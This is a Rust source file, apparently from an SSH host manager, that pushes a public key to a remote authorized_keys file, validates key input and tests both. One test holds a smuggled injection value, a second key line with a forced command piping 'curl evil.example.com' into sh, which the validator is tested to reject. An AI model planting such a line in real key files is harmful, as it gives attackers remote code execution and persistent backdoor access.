1use std::io::{Read, Write};
13use std::path::{Path, PathBuf};
14use std::process::{Command, Stdio};
15use std::sync::atomic::{AtomicBool, Ordering};
16use std::sync::{Arc, Mutex};
17
18use log::debug;
19
20use crate::snippet::ChildGuard;
21
22#[derive(Debug, Clone, PartialEq, Eq)]
27pub enum KeyPushOutcome {
28 Appended,
30 AlreadyPresent,
32 Failed(String),
36 NeedsPassword {
41 detail: String,
42 host: Option<String>,
43 },
44 UnknownHostKey {
48 detail: String,
49 host: Option<String>,
50 },
51}
52
53#[derive(Clone, Default, PartialEq, Eq)]
57pub struct PushAuth {
58 pub askpass: Option<String>,
59 pub session_password: Option<String>,
60 pub bw_session: Option<String>,
61 pub trust_new_host_key: bool,
62}
63
64impl std::fmt::Debug for PushAuth {
67 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
68 f.debug_struct("PushAuth")
69 .field("askpass", &self.askpass)
70 .field("session_password", &self.session_password.is_some())
71 .field("bw_session", &self.bw_session.is_some())
72 .field("trust_new_host_key", &self.trust_new_host_key)
73 .finish()
74 }
75}
76
77#[derive(Clone, Default)]
81pub struct InflightChild(Arc<Mutex<Option<Arc<ChildGuard>>>>);
82
83impl InflightChild {
84 fn set(&self, guard: Arc<ChildGuard>) {
85 *self.0.lock().unwrap_or_else(|e| e.into_inner()) = Some(guard);
86 }
87
88 fn clear(&self) {
89 self.0.lock().unwrap_or_else(|e| e.into_inner()).take();
90 }
91
92 pub fn terminate(&self) {
94 let guard = self.0.lock().unwrap_or_else(|e| e.into_inner()).take();
95 if let Some(g) = guard {
96 g.terminate();
97 }
98 }
99
100 #[cfg(test)]
101 pub(crate) fn is_set(&self) -> bool {
102 self.0.lock().unwrap_or_else(|e| e.into_inner()).is_some()
103 }
104}
105
106#[derive(Debug, Clone, PartialEq, Eq)]
109pub struct KeyPushResult {
110 pub alias: String,
111 pub outcome: KeyPushOutcome,
112}
113
114const ABORTED: &str = "canceled";
117
118const STDERR_BUDGET: usize = 200;
122
123const MARKER_APPENDED: &str = "__PURPLE_KEY_PUSH:APPENDED__";
129const MARKER_ALREADY_PRESENT: &str = "__PURPLE_KEY_PUSH:ALREADY_PRESENT__";
130const MARKER_APPEND_FAILED: &str = "__PURPLE_KEY_PUSH:APPEND_FAILED__";
131
132const REMOTE_SNIPPET: &str = r#"umask 077
160if [ ! -d ~/.ssh ]; then
161 mkdir -p ~/.ssh
162 chmod 700 ~/.ssh
163fi
164if [ ! -f ~/.ssh/authorized_keys ]; then
165 touch ~/.ssh/authorized_keys
166 chmod 600 ~/.ssh/authorized_keys
167fi
168PUBKEY=$(cat | tr -d '\r')
169if tr -d '\r' < ~/.ssh/authorized_keys 2>/dev/null | grep -qxF -- "$PUBKEY"; then
170 echo __PURPLE_KEY_PUSH:ALREADY_PRESENT__
171 exit 0
172fi
173printf '%s\n' "$PUBKEY" >> ~/.ssh/authorized_keys || { echo __PURPLE_KEY_PUSH:APPEND_FAILED__; exit 1; }
174echo __PURPLE_KEY_PUSH:APPENDED__
175"#;
176
177pub fn classify_stdout(stdout: &str) -> Option<KeyPushOutcome> {
182 let trimmed = stdout.trim();
183 let last = trimmed
184 .lines()
185 .map(|l| l.trim_end_matches('\r').trim())
186 .rfind(|l| !l.is_empty())?;
187 match last {
188 MARKER_APPENDED => Some(KeyPushOutcome::Appended),
189 MARKER_ALREADY_PRESENT => Some(KeyPushOutcome::AlreadyPresent),
190 MARKER_APPEND_FAILED => Some(KeyPushOutcome::Failed(
191 "remote append failed (disk full, read-only mount?)".to_string(),
192 )),
193 _ => None,
194 }
195}
196
197fn scrub_stderr(raw: &str) -> String {
202 let cleaned: String = raw
203 .chars()
204 .filter(|c| !c.is_control() || *c == '\n')
205 .collect();
206 let joined = cleaned
207 .lines()
208 .map(str::trim)
209 .filter(|l| !l.is_empty())
210 .collect::<Vec<_>>()
211 .join(" ");
212 if joined.chars().count() > STDERR_BUDGET {
213 joined.chars().take(STDERR_BUDGET).collect::<String>() + "..."
214 } else {
215 joined
216 }
217}
218
219pub(crate) fn build_push_command(alias: &str, config_path: &Path, auth: &PushAuth) -> Command {
227 let mut cmd = Command::new("ssh");
228 cmd.arg("-F")
229 .arg(config_path)
230 .arg("-T")
231 .arg("-o")
232 .arg("ConnectTimeout=10")
233 .arg("-o")
239 .arg("ServerAliveInterval=10")
240 .arg("-o")
241 .arg("ServerAliveCountMax=3")
242 .arg("-o")
243 .arg("ControlMaster=no")
244 .arg("-o")
245 .arg("ControlPath=none");
246 let strict = if auth.trust_new_host_key {
247 "StrictHostKeyChecking=accept-new"
248 } else {
249 "StrictHostKeyChecking=yes"
250 };
251 cmd.arg("-o")
252 .arg(strict)
253 .arg("-o")
254 .arg(crate::askpass_env::SINGLE_PASSWORD_PROMPT_OPT);
255 if crate::askpass_env::needs_batch_mode(
256 auth.askpass.as_deref(),
257 auth.session_password.as_deref(),
258 ) {
259 cmd.arg("-o").arg(crate::askpass_env::BATCH_MODE_OPT);
260 }
261 cmd.arg("--")
262 .arg(alias)
263 .arg(REMOTE_SNIPPET)
264 .stdin(Stdio::piped())
265 .stdout(Stdio::piped())
266 .stderr(Stdio::piped());
267
268 crate::askpass_env::configure_auth(
269 &mut cmd,
270 alias,
271 config_path,
272 auth.askpass.as_deref(),
273 auth.session_password.as_deref(),
274 auth.bw_session.as_deref(),
275 true,
276 );
277
278 #[cfg(unix)]
281 unsafe {
286 use std::os::unix::process::CommandExt;
287 cmd.pre_exec(|| {
288 libc::setpgid(0, 0);
289 Ok(())
290 });
291 }
292 cmd
293}
294
295pub fn push_to_host(
302 pubkey: &str,
303 alias: &str,
304 config_path: &Path,
305 auth: &PushAuth,
306 cancel: &Arc<AtomicBool>,
307 inflight: &InflightChild,
308) -> KeyPushOutcome {
309 if cancel.load(Ordering::Relaxed) {
310 return KeyPushOutcome::Failed(ABORTED.to_string());
311 }
312
313 let mut cmd = build_push_command(alias, config_path, auth);
314
315 let mut child = match cmd.spawn() {
316 Ok(c) => c,
317 Err(e) => {
318 debug!("[purple] key_push: spawn failed alias={} err={}", alias, e);
319 return KeyPushOutcome::Failed(format!("spawn ssh: {}", e));
320 }
321 };
322
323 let stdin = child.stdin.take();
324 let stdout_pipe = child.stdout.take();
325 let stderr_pipe = child.stderr.take();
326 let guard = Arc::new(ChildGuard::new(child));
327 inflight.set(Arc::clone(&guard));
328
329 if let Some(mut stdin) = stdin {
332 let payload = if pubkey.ends_with('\n') {
333 pubkey.to_string()
334 } else {
335 format!("{}\n", pubkey)
336 };
337 if let Err(e) = stdin.write_all(payload.as_bytes()) {
338 debug!(
339 "[purple] key_push: stdin write failed alias={} err={}",
340 alias, e
341 );
342 guard.terminate();
343 inflight.clear();
344 return KeyPushOutcome::Failed(format!("write pubkey: {}", e));
345 }
346 drop(stdin);
348 }
349
350 let stdout_reader = std::thread::spawn(move || {
356 let mut buf = Vec::new();
357 if let Some(mut pipe) = stdout_pipe {
358 let _ = pipe.read_to_end(&mut buf);
359 }
360 buf
361 });
362 let stderr_reader = std::thread::spawn(move || {
363 let mut buf = Vec::new();
364 if let Some(mut pipe) = stderr_pipe {
365 let _ = pipe.read_to_end(&mut buf);
366 }
367 buf
368 });
369
370 let status = guard.wait();
371 inflight.clear();
372 let stdout_buf = stdout_reader.join().unwrap_or_default();
373 let stderr_buf = stderr_reader.join().unwrap_or_default();
374
375 let Some(status) = status else {
376 debug!("[purple] key_push: wait failed alias={}", alias);
377 return KeyPushOutcome::Failed("wait ssh: child already reaped".to_string());
378 };
379
380 if cancel.load(Ordering::Relaxed) {
381 debug!(
382 "[purple] key_push: cancel hit mid-connection alias={}",
383 alias
384 );
385 return KeyPushOutcome::Failed(ABORTED.to_string());
386 }
387
388 let stdout = String::from_utf8_lossy(&stdout_buf);
389 let stderr = String::from_utf8_lossy(&stderr_buf);
390
391 if !status.success() {
392 let filtered = crate::file_browser::filter_ssh_warnings(&stderr);
395 let scrubbed = scrub_stderr(&filtered);
396 let msg = if scrubbed.is_empty() {
397 format!("ssh exited {}", status)
398 } else {
399 scrubbed
400 };
401 if crate::connection::is_unknown_host_key(&stderr) {
402 let host = crate::connection::unknown_host_key_host(&stderr).map(str::to_string);
403 debug!(
404 "[purple] key_push: unknown host key alias={} host={:?} status={}",
405 alias, host, status
406 );
407 return KeyPushOutcome::UnknownHostKey { detail: msg, host };
408 }
409 if crate::connection::needs_password(&stderr) {
410 let host = crate::connection::denied_host(&stderr).map(str::to_string);
411 debug!(
412 "[purple] key_push: needs password alias={} refused_by={:?} status={}",
413 alias, host, status
414 );
415 return KeyPushOutcome::NeedsPassword { detail: msg, host };
416 }
417 debug!(
418 "[purple] key_push: failed alias={} status={} stderr={}",
419 alias, status, msg
420 );
421 return KeyPushOutcome::Failed(msg);
422 }
423
424 match classify_stdout(&stdout) {
425 Some(outcome) => {
426 debug!("[purple] key_push: alias={} outcome={:?}", alias, outcome);
427 outcome
428 }
429 None => {
430 let preview = scrub_stderr(&stdout);
431 KeyPushOutcome::Failed(format!(
432 "unexpected snippet output: {}",
433 if preview.is_empty() {
434 "(empty)"
435 } else {
436 &preview
437 }
438 ))
439 }
440 }
441}
442
443pub const PUBKEY_MAX_BYTES: u64 = 16 * 1024;
447
448const ALLOWED_KEY_TYPES: &[&str] = &[
453 "ssh-rsa",
454 "ssh-ed25519",
455 "ssh-dss",
456 "ecdsa-sha2-nistp256",
457 "ecdsa-sha2-nistp384",
458 "ecdsa-sha2-nistp521",
459 "sk-ssh-ed25519@openssh.com",
460 "sk-ecdsa-sha2-nistp256@openssh.com",
461];
462
463#[derive(Debug, Clone, PartialEq, Eq)]
465pub enum PubkeyValidationError {
466 Empty,
467 MultiLine,
468 UnsupportedType(String),
469 MalformedBase64,
470 TooLarge(u64),
471 NotARegularFile,
472}
473
474pub fn validate_pubkey(raw: &str) -> Result<String, PubkeyValidationError> {
481 let trimmed = raw.trim_end_matches(['\n', '\r', ' ', '\t']);
482 if trimmed.is_empty() {
483 return Err(PubkeyValidationError::Empty);
484 }
485 if trimmed.lines().count() != 1 {
486 return Err(PubkeyValidationError::MultiLine);
487 }
488 let mut parts = trimmed.splitn(3, ' ');
489 let typ = parts.next().unwrap_or("");
490 let blob = parts.next().unwrap_or("");
491 if !ALLOWED_KEY_TYPES.contains(&typ) {
492 return Err(PubkeyValidationError::UnsupportedType(typ.to_string()));
493 }
494 if blob.is_empty() {
495 return Err(PubkeyValidationError::MalformedBase64);
496 }
497 use base64::Engine;
498 if base64::engine::general_purpose::STANDARD
499 .decode(blob.as_bytes())
500 .is_err()
501 {
502 return Err(PubkeyValidationError::MalformedBase64);
503 }
504 Ok(trimmed.to_string())
505}
506
507pub fn read_pubkey_file(path: &Path) -> Result<String, PubkeyValidationError> {
512 use std::io::Read;
513 let mut opts = std::fs::OpenOptions::new();
514 opts.read(true);
515 #[cfg(unix)]
516 {
517 use std::os::unix::fs::OpenOptionsExt;
518 opts.custom_flags(libc::O_NOFOLLOW);
519 }
520 let f = opts
521 .open(path)
522 .map_err(|_| PubkeyValidationError::NotARegularFile)?;
523 let meta = f
524 .metadata()
525 .map_err(|_| PubkeyValidationError::NotARegularFile)?;
526 if !meta.file_type().is_file() {
527 return Err(PubkeyValidationError::NotARegularFile);
528 }
529 if meta.len() > PUBKEY_MAX_BYTES {
530 return Err(PubkeyValidationError::TooLarge(meta.len()));
531 }
532 let mut buf = String::new();
533 f.take(PUBKEY_MAX_BYTES)
534 .read_to_string(&mut buf)
535 .map_err(|_| PubkeyValidationError::NotARegularFile)?;
536 Ok(buf)
537}
538
539pub fn pubkey_path_for(paths: Option<&crate::runtime::env::Paths>, display_path: &str) -> PathBuf {
543 let with_pub = format!("{}.pub", display_path);
544 if let Some(rest) = with_pub.strip_prefix("~/")
545 && let Some(p) = paths
546 {
547 return p.home().join(rest);
548 }
549 PathBuf::from(with_pub)
550}
551
552#[cfg(test)]
553mod tests {
554 use super::*;
555
556 #[test]
557 fn classify_stdout_appended() {
558 assert_eq!(
559 classify_stdout("__PURPLE_KEY_PUSH:APPENDED__\n"),
560 Some(KeyPushOutcome::Appended)
561 );
562 }
563
564 #[test]
565 fn classify_stdout_already_present() {
566 assert_eq!(
567 classify_stdout("__PURPLE_KEY_PUSH:ALREADY_PRESENT__\n"),
568 Some(KeyPushOutcome::AlreadyPresent)
569 );
570 }
571
572 #[test]
573 fn classify_stdout_append_failed() {
574 match classify_stdout("__PURPLE_KEY_PUSH:APPEND_FAILED__\n") {
575 Some(KeyPushOutcome::Failed(_)) => {}
576 other => panic!("expected Failed, got {:?}", other),
577 }
578 }
579
580 #[test]
581 fn classify_stdout_motd_then_marker() {
582 let stdout = "Welcome to Ubuntu 22.04\nLast login: ...\n__PURPLE_KEY_PUSH:APPENDED__\n";
585 assert_eq!(classify_stdout(stdout), Some(KeyPushOutcome::Appended));
586 }
587
588 #[test]
589 fn classify_stdout_motd_word_collision_does_not_match() {
590 let stdout = "Welcome. APPENDED was a great patch.\nhave a good day\n";
594 assert_eq!(classify_stdout(stdout), None);
595 }
596
597 #[test]
598 fn classify_stdout_crlf_line_endings() {
599 let stdout = "Welcome\r\n__PURPLE_KEY_PUSH:APPENDED__\r\n";
602 assert_eq!(classify_stdout(stdout), Some(KeyPushOutcome::Appended));
603 }
604
605 #[test]
606 fn classify_stdout_unknown_returns_none() {
607 assert_eq!(classify_stdout("hello\nworld\n"), None);
608 }
609
610 #[test]
611 fn classify_stdout_empty_returns_none() {
612 assert_eq!(classify_stdout(""), None);
613 assert_eq!(classify_stdout("\n\n"), None);
614 }
615
616 #[test]
617 fn scrub_stderr_drops_control_bytes() {
618 let raw = "\x1b[31mError: connection refused\x1b[0m\n";
620 let scrubbed = scrub_stderr(raw);
621 assert!(!scrubbed.contains('\x1b'));
622 assert!(scrubbed.contains("Error"));
623 }
624
625 #[test]
626 fn scrub_stderr_joins_lines() {
627 let raw = "line1\nline2\nline3\n";
628 assert_eq!(scrub_stderr(raw), "line1 line2 line3");
629 }
630
631 #[test]
632 fn scrub_stderr_truncates_long_input() {
633 let raw = "x".repeat(STDERR_BUDGET * 2);
634 let scrubbed = scrub_stderr(&raw);
635 assert!(scrubbed.ends_with("..."));
636 assert!(scrubbed.chars().count() <= STDERR_BUDGET + 3);
637 }
638
639 #[test]
640 fn scrub_stderr_empty_input() {
641 assert_eq!(scrub_stderr(""), "");
642 assert_eq!(scrub_stderr(" \n\n \n"), "");
643 }
644
645 #[test]
646 fn pubkey_path_appends_pub_suffix() {
647 let p = pubkey_path_for(None, "/tmp/id_ed25519");
648 assert_eq!(p.to_string_lossy(), "/tmp/id_ed25519.pub");
649 }
650
651 #[test]
652 fn pubkey_path_expands_tilde() {
653 let paths = crate::runtime::env::Paths::new("/home/u");
654 let p = pubkey_path_for(Some(&paths), "~/.ssh/id_ed25519");
655 assert!(!p.to_string_lossy().starts_with('~'));
656 assert!(p.to_string_lossy().ends_with(".ssh/id_ed25519.pub"));
657 }
658
659 #[test]
660 fn push_to_host_short_circuits_when_cancel_is_set() {
661 let cancel = Arc::new(AtomicBool::new(true));
666 let inflight = InflightChild::default();
667 let outcome = push_to_host(
668 "ssh-ed25519 AAAA test@host",
669 "this-alias-does-not-exist",
670 std::path::Path::new("/tmp/purple-nonexistent-config"),
671 &PushAuth::default(),
672 &cancel,
673 &inflight,
674 );
675 match outcome {
676 KeyPushOutcome::Failed(msg) => {
677 assert!(
678 msg.contains("cancel"),
679 "expected cancel message, got: {}",
680 msg
681 );
682 }
683 other => panic!("expected Failed(cancelled), got {:?}", other),
684 }
685 assert!(!inflight.is_set(), "no child was spawned");
686 }
687
688 #[test]
689 fn push_to_host_against_missing_config_fails_and_clears_inflight() {
690 let cancel = Arc::new(AtomicBool::new(false));
694 let inflight = InflightChild::default();
695 let outcome = push_to_host(
696 "ssh-ed25519 AAAA test@host",
697 "this-alias-does-not-exist",
698 std::path::Path::new("/tmp/purple-nonexistent-config"),
699 &PushAuth::default(),
700 &cancel,
701 &inflight,
702 );
703 assert!(
704 matches!(outcome, KeyPushOutcome::Failed(_)),
705 "got {outcome:?}"
706 );
707 assert!(!inflight.is_set());
708 }
709
710 #[test]
711 fn inflight_terminate_kills_a_running_child() {
712 let mut cmd = Command::new("sleep");
714 cmd.arg("30");
715 #[cfg(unix)]
716 unsafe {
719 use std::os::unix::process::CommandExt;
720 cmd.pre_exec(|| {
721 libc::setpgid(0, 0);
722 Ok(())
723 });
724 }
725 let child = cmd.spawn().expect("spawn sleep");
726 let guard = Arc::new(ChildGuard::new(child));
727 let inflight = InflightChild::default();
728 inflight.set(Arc::clone(&guard));
729 assert!(inflight.is_set());
730 let started = std::time::Instant::now();
731 inflight.terminate();
732 assert!(
735 started.elapsed() < std::time::Duration::from_millis(100),
736 "terminate held the caller for {:?}",
737 started.elapsed()
738 );
739 assert!(!inflight.is_set());
740 let status = guard.wait();
742 assert!(started.elapsed() < std::time::Duration::from_secs(5));
743 assert!(status.is_some_and(|s| !s.success()));
744 }
745
746 #[cfg(unix)]
747 #[test]
748 fn a_child_that_ignores_sigterm_is_killed_by_the_waiting_thread() {
749 let mut cmd = Command::new("sh");
754 cmd.arg("-c")
755 .arg("trap '' TERM; while :; do sleep 0.05; done");
756 unsafe {
759 use std::os::unix::process::CommandExt;
760 cmd.pre_exec(|| {
761 libc::setpgid(0, 0);
762 Ok(())
763 });
764 }
765 let child = cmd.spawn().expect("spawn sh");
766 let guard = Arc::new(ChildGuard::new(child));
767 std::thread::sleep(std::time::Duration::from_millis(300));
770 let (tx, rx) = std::sync::mpsc::channel();
773 {
774 let guard = Arc::clone(&guard);
775 std::thread::spawn(move || {
776 let _ = tx.send(guard.wait());
777 });
778 }
779 let started = std::time::Instant::now();
780 guard.terminate();
781 assert!(
782 started.elapsed() < std::time::Duration::from_millis(100),
783 "terminate held the caller for {:?}",
784 started.elapsed()
785 );
786 let status = rx
787 .recv_timeout(std::time::Duration::from_secs(5))
788 .expect("the waiting thread must escalate to SIGKILL");
789 use std::os::unix::process::ExitStatusExt;
790 assert_eq!(
791 status.and_then(|s| s.signal()),
792 Some(libc::SIGKILL),
793 "SIGTERM was ignored, so only SIGKILL can have ended it"
794 );
795 }
796
797 #[test]
798 #[cfg(unix)]
799 fn a_stopped_run_sweeps_a_process_left_holding_the_pipe() {
800 let mut cmd = Command::new("sh");
807 cmd.arg("-c")
808 .arg(
809 "sh -c \"trap '' TERM; i=0; while [ \\$i -lt 200 ]; do sleep 0.05; i=\\$((i+1)); done\" & exec sleep 30",
810 )
811 .stdout(Stdio::piped())
812 .stderr(Stdio::piped());
813 unsafe {
816 use std::os::unix::process::CommandExt;
817 cmd.pre_exec(|| {
818 libc::setpgid(0, 0);
819 Ok(())
820 });
821 }
822 let mut child = cmd.spawn().expect("spawn sh");
823 let stderr_pipe = child.stderr.take();
824 let guard = Arc::new(ChildGuard::new(child));
825 std::thread::sleep(std::time::Duration::from_millis(300));
827
828 let (tx, rx) = std::sync::mpsc::channel();
831 std::thread::spawn(move || {
832 let mut buf = Vec::new();
833 if let Some(mut pipe) = stderr_pipe {
834 let _ = pipe.read_to_end(&mut buf);
835 }
836 let _ = tx.send(());
837 });
838
839 guard.terminate();
840 assert!(guard.wait().is_some(), "the child itself is reaped");
841 rx.recv_timeout(std::time::Duration::from_secs(5))
842 .expect("the reader must reach EOF once the group is swept");
843 }
844
845 #[test]
846 #[cfg(unix)]
847 fn a_run_that_ends_on_its_own_sweeps_the_group_too() {
848 let mut cmd = Command::new("sh");
854 cmd.arg("-c")
855 .arg("sh -c \"i=0; while [ \\$i -lt 200 ]; do sleep 0.05; i=\\$((i+1)); done\" & exec true")
856 .stdout(Stdio::piped())
857 .stderr(Stdio::piped());
858 unsafe {
861 use std::os::unix::process::CommandExt;
862 cmd.pre_exec(|| {
863 libc::setpgid(0, 0);
864 Ok(())
865 });
866 }
867 let mut child = cmd.spawn().expect("spawn sh");
868 let stderr_pipe = child.stderr.take();
869 let guard = Arc::new(ChildGuard::new(child));
870
871 let (tx, rx) = std::sync::mpsc::channel();
872 std::thread::spawn(move || {
873 let mut buf = Vec::new();
874 if let Some(mut pipe) = stderr_pipe {
875 let _ = pipe.read_to_end(&mut buf);
876 }
877 let _ = tx.send(());
878 });
879
880 assert!(guard.wait().is_some(), "the child itself is reaped");
882 rx.recv_timeout(std::time::Duration::from_secs(5))
883 .expect("the reader must reach EOF without a cancel");
884 }
885
886 fn push_args(auth: &PushAuth) -> Vec<String> {
887 build_push_command("web1", std::path::Path::new("/tmp/cfg"), auth)
888 .get_args()
889 .map(|a| a.to_string_lossy().into_owned())
890 .collect()
891 }
892
893 fn push_env_names(auth: &PushAuth) -> Vec<String> {
894 build_push_command("web1", std::path::Path::new("/tmp/cfg"), auth)
895 .get_envs()
896 .filter_map(|(k, v)| v.map(|_| k.to_string_lossy().into_owned()))
897 .collect()
898 }
899
900 fn has_opt(args: &[String], value: &str) -> bool {
901 args.windows(2).any(|w| w[0] == "-o" && w[1] == value)
902 }
903
904 #[test]
905 fn build_push_command_without_auth_sets_batch_mode_and_still_wires_askpass() {
906 let auth = PushAuth::default();
912 let args = push_args(&auth);
913 assert!(has_opt(&args, "BatchMode=yes"), "got: {args:?}");
914 assert!(has_opt(&args, "StrictHostKeyChecking=yes"), "got: {args:?}");
915 let names = push_env_names(&auth);
916 assert!(
917 names.iter().any(|n| n == "SSH_ASKPASS_REQUIRE"),
918 "got: {names:?}"
919 );
920 assert!(
921 !names
922 .iter()
923 .any(|n| n == crate::askpass_env::ONESHOT_SECRET_VAR),
924 "there is no secret to carry: {names:?}"
925 );
926 }
927
928 #[test]
929 fn build_push_command_with_source_wires_askpass_without_batch_mode() {
930 let auth = PushAuth {
931 askpass: Some("keychain".into()),
932 ..Default::default()
933 };
934 let args = push_args(&auth);
935 assert!(!has_opt(&args, "BatchMode=yes"), "got: {args:?}");
936 let names = push_env_names(&auth);
937 assert!(names.iter().any(|n| n == "SSH_ASKPASS"));
938 assert!(names.iter().any(|n| n == "SSH_ASKPASS_REQUIRE"));
939 }
940
941 #[test]
942 fn build_push_command_with_session_password_uses_oneshot_channel() {
943 let auth = PushAuth {
944 session_password: Some("hunter2".into()),
945 ..Default::default()
946 };
947 let args = push_args(&auth);
948 assert!(!has_opt(&args, "BatchMode=yes"), "got: {args:?}");
949 assert!(args.iter().all(|a| a != "hunter2"), "secret in argv");
950 let names = push_env_names(&auth);
951 assert!(names.iter().any(|n| n == "SSH_ASKPASS"));
952 assert!(
953 names
954 .iter()
955 .any(|n| n == crate::askpass_env::ONESHOT_SECRET_VAR)
956 );
957 }
958
959 #[test]
960 fn build_push_command_forwards_bw_session() {
961 let auth = PushAuth {
962 askpass: Some("bw:item".into()),
963 bw_session: Some("tok".into()),
964 ..Default::default()
965 };
966 assert!(push_env_names(&auth).iter().any(|n| n == "BW_SESSION"));
967 }
968
969 #[test]
970 fn build_push_command_always_limits_ssh_to_one_password_attempt() {
971 for auth in [
974 PushAuth::default(),
975 PushAuth {
976 askpass: Some("keychain".into()),
977 ..Default::default()
978 },
979 PushAuth {
980 session_password: Some("hunter2".into()),
981 ..Default::default()
982 },
983 ] {
984 let args = push_args(&auth);
985 assert!(has_opt(&args, "NumberOfPasswordPrompts=1"), "got: {args:?}");
986 }
987 }
988
989 #[test]
990 fn build_push_command_trust_retry_uses_accept_new() {
991 let auth = PushAuth {
992 trust_new_host_key: true,
993 ..Default::default()
994 };
995 let args = push_args(&auth);
996 assert!(
997 has_opt(&args, "StrictHostKeyChecking=accept-new"),
998 "got: {args:?}"
999 );
1000 assert!(!has_opt(&args, "StrictHostKeyChecking=yes"));
1001 }
1002
1003 #[test]
1004 fn build_push_command_options_precede_the_separator() {
1005 let args = push_args(&PushAuth::default());
1006 let sep = args.iter().position(|a| a == "--").expect("-- present");
1007 let last_opt = args.iter().rposition(|a| a == "-o").expect("-o present");
1008 assert!(last_opt < sep, "got: {args:?}");
1009 assert_eq!(args[sep + 1], "web1");
1010 assert_eq!(args[sep + 2], REMOTE_SNIPPET);
1011 }
1012
1013 #[test]
1014 fn validate_pubkey_accepts_ed25519() {
1015 let line = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 ops@bastion";
1016 assert_eq!(validate_pubkey(line).unwrap(), line);
1017 }
1018
1019 #[test]
1020 fn validate_pubkey_strips_trailing_whitespace() {
1021 let raw = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 ops@bastion\n\r\n";
1022 let cleaned = validate_pubkey(raw).unwrap();
1023 assert!(!cleaned.ends_with('\n'));
1024 assert!(!cleaned.ends_with('\r'));
1025 }
1026
1027 #[test]
1028 fn validate_pubkey_rejects_empty() {
1029 assert_eq!(validate_pubkey(""), Err(PubkeyValidationError::Empty));
1030 assert_eq!(
1031 validate_pubkey(" \n\n"),
1032 Err(PubkeyValidationError::Empty)
1033 );
1034 }
1035
1036 #[test]
1037 fn validate_pubkey_rejects_multi_line_command_injection() {
1038 let raw = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 real@host\ncommand=\"curl evil.example.com|sh\",no-pty ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb2 backdoor@host";
1042 assert_eq!(validate_pubkey(raw), Err(PubkeyValidationError::MultiLine));
1043 }
1044
1045 #[test]
1046 fn validate_pubkey_rejects_unknown_type() {
1047 let raw = "ssh-ed25519-cert-v01@openssh.com AAAA cert@host";
1048 match validate_pubkey(raw) {
1049 Err(PubkeyValidationError::UnsupportedType(t)) => {
1050 assert_eq!(t, "ssh-ed25519-cert-v01@openssh.com");
1051 }
1052 other => panic!("expected UnsupportedType, got {:?}", other),
1053 }
1054 }
1055
1056 #[test]
1057 fn validate_pubkey_rejects_bogus_base64() {
1058 let raw = "ssh-ed25519 not!valid!base64!?? comment";
1059 assert_eq!(
1060 validate_pubkey(raw),
1061 Err(PubkeyValidationError::MalformedBase64)
1062 );
1063 }
1064
1065 #[test]
1066 fn validate_pubkey_rejects_empty_blob() {
1067 let raw = "ssh-ed25519 comment";
1068 assert_eq!(
1069 validate_pubkey(raw),
1070 Err(PubkeyValidationError::MalformedBase64)
1071 );
1072 }
1073
1074 #[test]
1075 fn read_pubkey_file_rejects_oversize() {
1076 let dir = tempfile::tempdir().expect("tempdir");
1077 let path = dir.path().join("huge.pub");
1078 let body = "x".repeat((PUBKEY_MAX_BYTES + 1) as usize);
1079 std::fs::write(&path, body).unwrap();
1080 match read_pubkey_file(&path) {
1081 Err(PubkeyValidationError::TooLarge(n)) => {
1082 assert!(n > PUBKEY_MAX_BYTES);
1083 }
1084 other => panic!("expected TooLarge, got {:?}", other),
1085 }
1086 }
1087
1088 #[cfg(unix)]
1089 #[test]
1090 fn read_pubkey_file_rejects_symlink() {
1091 let dir = tempfile::tempdir().expect("tempdir");
1092 let target = dir.path().join("real.pub");
1093 std::fs::write(&target, "ssh-ed25519 AAAA test@host").unwrap();
1094 let link = dir.path().join("link.pub");
1095 std::os::unix::fs::symlink(&target, &link).unwrap();
1096 assert!(matches!(
1097 read_pubkey_file(&link),
1098 Err(PubkeyValidationError::NotARegularFile)
1099 ));
1100 }
1101
1102 #[test]
1103 fn remote_snippet_has_expected_markers() {
1104 assert!(REMOTE_SNIPPET.contains(MARKER_APPENDED));
1107 assert!(REMOTE_SNIPPET.contains(MARKER_ALREADY_PRESENT));
1108 assert!(REMOTE_SNIPPET.contains(MARKER_APPEND_FAILED));
1109 assert!(REMOTE_SNIPPET.contains("grep -qxF"));
1110 assert!(REMOTE_SNIPPET.contains("tr -d '\\r'"));
1113 }
1114}